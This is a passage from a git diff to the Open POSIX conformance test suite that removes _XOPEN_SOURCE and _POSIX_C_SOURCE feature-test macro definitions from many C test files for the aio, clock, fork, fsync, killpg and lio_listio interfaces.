index b10b346..35a35ed 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_return/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_return/1-1.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_return/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_return/2-1.c
index 8782dd0..91677dd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_return/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_return/2-1.c
@@ -20,7 +20,6 @@
  *	- call aio_return again, return status should be -1
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_return/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_return/3-1.c
index 8b2d649..b582a21 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_return/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_return/3-1.c
@@ -23,7 +23,6 @@
  *	- call aio_return to get the aiocb status (number of bytes written)
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_return/3-2.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_return/3-2.c
index d5711a0..72acb16 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_return/3-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_return/3-2.c
@@ -21,7 +21,6 @@
  *	- call aio_return again, return status should be -1
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_return/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_return/4-1.c
index c4d0e94..9efa8ae 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_return/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_return/4-1.c
@@ -22,7 +22,6 @@
  *	- call aio_return with this last aiocb
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/1-1.c
index 8d11585..a102b47 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/1-1.c
@@ -32,7 +32,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/3-1.c
index dfb99f3..5270d7d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/3-1.c
@@ -19,7 +19,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/4-1.c
index fb49ce4..596501b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/4-1.c
@@ -21,7 +21,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/5-1.c
index d0d7e48..fea542a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/5-1.c
@@ -17,7 +17,6 @@
  *	UNTESTED
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdlib.h>
 #include <unistd.h>
 #include "posixtest.h"
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/9-1.c
index d6ca793..f573c81 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/9-1.c
@@ -24,7 +24,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/1-1.c
index d196aeb..86804b4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/1-1.c
@@ -21,7 +21,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/1-2.c
index 4141fca..d2c69ac 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/1-2.c
@@ -22,7 +22,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/2-1.c
index 96b5464..d23dc7a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/2-1.c
@@ -21,7 +21,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/3-1.c
index 6b1c91d..6d098fa 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/3-1.c
@@ -21,7 +21,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/5-1.c
index c5607c5..779d755 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/5-1.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/6-1.c
index b1430d8..2948552 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/6-1.c
@@ -21,7 +21,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/7-1.c
index 42160a8..36c7bf5 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/7-1.c
@@ -23,7 +23,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/8-1.c
index c3bbe15..18772b0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/8-1.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/8-2.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/8-2.c
index 7b738d5..73f7682 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/8-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/8-2.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/9-1.c
index 37da150..9947bbe 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/9-1.c
@@ -23,7 +23,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/9-2.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/9-2.c
index 19d1d01..409fdb9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/9-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/9-2.c
@@ -23,7 +23,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/1-1.c
index 3069d56..14cf174 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/1-1.c
@@ -15,7 +15,6 @@
  *            Test needed to do something as opposed to idle sleep to
  *            get the CPU time to increase.
  */
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <time.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/1-2.c
index afbfa63..ebcdf05 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/1-2.c
@@ -13,7 +13,6 @@
  * permission, the clock ID of this clock shall be returned in clock_id.
  *
  */
-#define _XOPEN_SOURCE 600
 #include <errno.h>
 #include <stdio.h>
 #include <string.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/2-1.c
index 6bad95d..c19227b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/2-1.c
@@ -9,7 +9,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <errno.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/5-1.c
index d73207e..0046d50 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/5-1.c
@@ -6,7 +6,6 @@
  * the process.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <sys/types.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/6-1.c
index 401f560..f1995ed 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/6-1.c
@@ -6,7 +6,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <sys/types.h>
 #include <limits.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/7-1.c
index 48db3c9..9a4c05b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/7-1.c
@@ -9,7 +9,6 @@
  * The clock chosen for this test is CLOCK_PROCESS_CPUTIME_ID.
  */
 
-#define _XOPEN_SOURCE 600
 #include <unistd.h>
 #include <stdio.h>
 #include <time.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/8-1.c
index ab693a3..b35c41c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/8-1.c
@@ -9,7 +9,6 @@
  * The clock chosen for this test is CLOCK_THREAD_CPUTIME_ID.
  */
 
-#define _XOPEN_SOURCE 600
 #include <unistd.h>
 #include <stdio.h>
 #include <time.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/1-1.c
index a303377..32b33b8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/1-1.c
@@ -28,8 +28,6 @@
  * The test fails if the duration is > 2 seconds or if semaphore is not posted.
  */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <sys/wait.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/12-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/12-1.c
index 184c062..2f09d6f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/12-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/12-1.c
@@ -29,8 +29,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/13-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/13-1.c
index 751f10a..b38aefe 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/13-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/13-1.c
@@ -27,14 +27,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
-/* The interval timers are an XSI feature */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE 600
-#endif
-
 #include <pthread.h>
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/14-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/14-1.c
index 3288d3b..c42bbe6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/14-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/14-1.c
@@ -28,8 +28,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/16-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/16-1.c
index 01b67fd..258412c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/16-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/16-1.c
@@ -33,8 +33,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/17-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/17-1.c
index df66312..300c3ff 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/17-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/17-1.c
@@ -29,8 +29,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/17-2.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/17-2.c
index d4d1f89..3c06c80 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/17-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/17-2.c
@@ -29,8 +29,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/18-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/18-1.c
index 90b4da7..ea02b5b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/18-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/18-1.c
@@ -27,8 +27,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/19-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/19-1.c
index 0a6911e..3507063 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/19-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/19-1.c
@@ -32,8 +32,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <sys/stat.h>
 #include <sys/wait.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/2-1.c
index 3da4409..977d7fe 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/2-1.c
@@ -33,14 +33,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
-/* We can use XSI features in case it is allowed */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE 600
-#endif
-
 #include <pthread.h>
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/21-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/21-1.c
index 2d1df82..7806e74 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/21-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/21-1.c
@@ -27,8 +27,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <sys/wait.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/3-1.c
index 6dc1565..294f182 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/3-1.c
@@ -26,8 +26,6 @@
 
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/4-1.c
index 2276023..2baf713 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/4-1.c
@@ -26,8 +26,6 @@
 
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/6-1.c
index 132d9d6..6a29619 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/6-1.c
@@ -29,8 +29,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/7-1.c
index 1bf7df0..75b5f2e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/7-1.c
@@ -28,8 +28,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <sys/wait.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/8-1.c
index 3aadc3c..de370c2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/8-1.c
@@ -29,9 +29,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
 #include <pthread.h>
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/9-1.c
index 9102c3c..816b8a9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/9-1.c
@@ -29,8 +29,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fsync/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fsync/4-1.c
index 8a86ea4..8e27c98 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fsync/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fsync/4-1.c
@@ -13,7 +13,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fsync/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fsync/5-1.c
index 0e7ca4e..02a26bd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fsync/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fsync/5-1.c
@@ -9,7 +9,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fsync/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fsync/7-1.c
index 537dedf..5154bbd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fsync/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fsync/7-1.c
@@ -14,7 +14,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/killpg/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/killpg/1-1.c
index 69d5cff..f5c4745 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/killpg/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/killpg/1-1.c
@@ -15,7 +15,6 @@
 
  */
 
-#define _XOPEN_SOURCE 600
 #define SIGTOTEST SIGCHLD
 
 #include <signal.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/killpg/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/killpg/1-2.c
index cb2d564..fa2c4ae 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/killpg/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/killpg/1-2.c
@@ -18,7 +18,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #define SIGTOTEST SIGUSR1
 
 #include <signal.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/killpg/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/killpg/2-1.c
index 9a9b183..37507d8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/killpg/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/killpg/2-1.c
@@ -9,7 +9,6 @@
  returns success, then we pass.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/killpg/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/killpg/4-1.c
index a79386e..15569dc 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/killpg/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/killpg/4-1.c
@@ -9,7 +9,6 @@
 
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/killpg/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/killpg/5-1.c
index 8942380..e027f27 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/killpg/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/killpg/5-1.c
@@ -9,7 +9,6 @@
 
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/killpg/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/killpg/6-1.c
index 4cd0a14..b01c672 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/killpg/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/killpg/6-1.c
@@ -10,7 +10,6 @@
 
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/killpg/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/killpg/8-1.c
index bee4236..da4627ebc 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/killpg/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/killpg/8-1.c
@@ -10,7 +10,6 @@
 
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/1-1.c
index bb18965..8bc1dcc 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/1-1.c
@@ -21,7 +21,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/10-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/10-1.c
index ca3600b..9edf0e3 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/10-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/10-1.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/12-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/12-1.c
index 51997bd..db73cb5 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/12-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/12-1.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/13-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/13-1.c
index 83f7ffb..240f343 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/13-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/13-1.c
@@ -20,7 +20,6 @@
  *
  */
 
